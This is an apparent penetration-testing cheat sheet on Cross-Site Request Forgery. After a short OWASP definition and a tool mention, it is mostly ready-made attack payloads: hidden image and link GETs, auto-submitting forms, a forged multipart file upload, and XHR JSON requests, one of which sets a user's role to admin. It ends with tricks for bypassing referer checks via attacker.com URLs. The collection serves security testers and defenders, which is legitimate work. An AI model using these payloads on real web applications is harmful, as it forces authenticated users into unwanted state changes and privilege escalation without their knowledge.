Cross-Site Request Forgery

Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP

Tools

XSRFProbe - The Prime Cross Site Request Forgery Audit and Exploitation Toolkit.

Methodology

CSRF_cheatsheet

Payloads

When you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it.

HTML GET - Requiring User Interaction

<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>

HTML GET - No User Interaction

<img src="http://www.example.com/api/setusername?username=CSRFd">

HTML POST - Requiring User Interaction

<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="Submit Request" />
</form>

HTML POST - AutoSubmit - No User Interaction

<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="Submit Request" />
</form>

<script>
 document.getElementById("autosubmit").submit();
</script>

HTML POST - multipart/form-data with file upload - Requiring User Interaction

<script>
function launch(){
    const dT = new DataTransfer();
    const file = new File( [ "CSRF-filecontent" ], "CSRF-filename" );
    dT.items.add( file );
    document.xss[0].files = dT.files;

    document.xss.submit()
}
</script>

<form style="display: none" name="xss" method="post" action="<target>" enctype="multipart/form-data">
<input id="file" type="file" name="file"/>
<input type="submit" name="" value="" size="0" />
</form>
<button value="button" onclick="launch()">Submit Request</button>

JSON GET - Simple Request

<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>

JSON POST - Simple Request

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
//application/json is not allowed in a simple request. text/plain is the default
xhr.setRequestHeader("Content-Type", "text/plain");
//You will probably want to also try one or both of these
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
xhr.send('{"role":admin}');
</script>

JSON POST - Complex Request

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>

Bypass referer header validation

Basic payload

1) Open https://attacker.com/csrf.html
2) Referer header is ..

Referer: https://attacker.com/csrf.html

With question mark(`?`) payload

1) Open https://attacker.com/csrf.html?trusted.domain.com
2) Referer header is ..

Referer: https://attacker.com/csrf.html?trusted.domain.com

With semicolon(`;`) payload

1) Open https://attacker.com/csrf.html;trusted.domain.com
2) Referer header is ..

Referer: https://attacker.com/csrf.html;trusted.domain.com

With subdomain payload

1) Open https://trusted.domain.com.attacker.com/csrf.html
2) Referer headers is ..

Referer: https://trusted.domain.com.attacker.com/csrf.html

References

Last update: August 30, 2022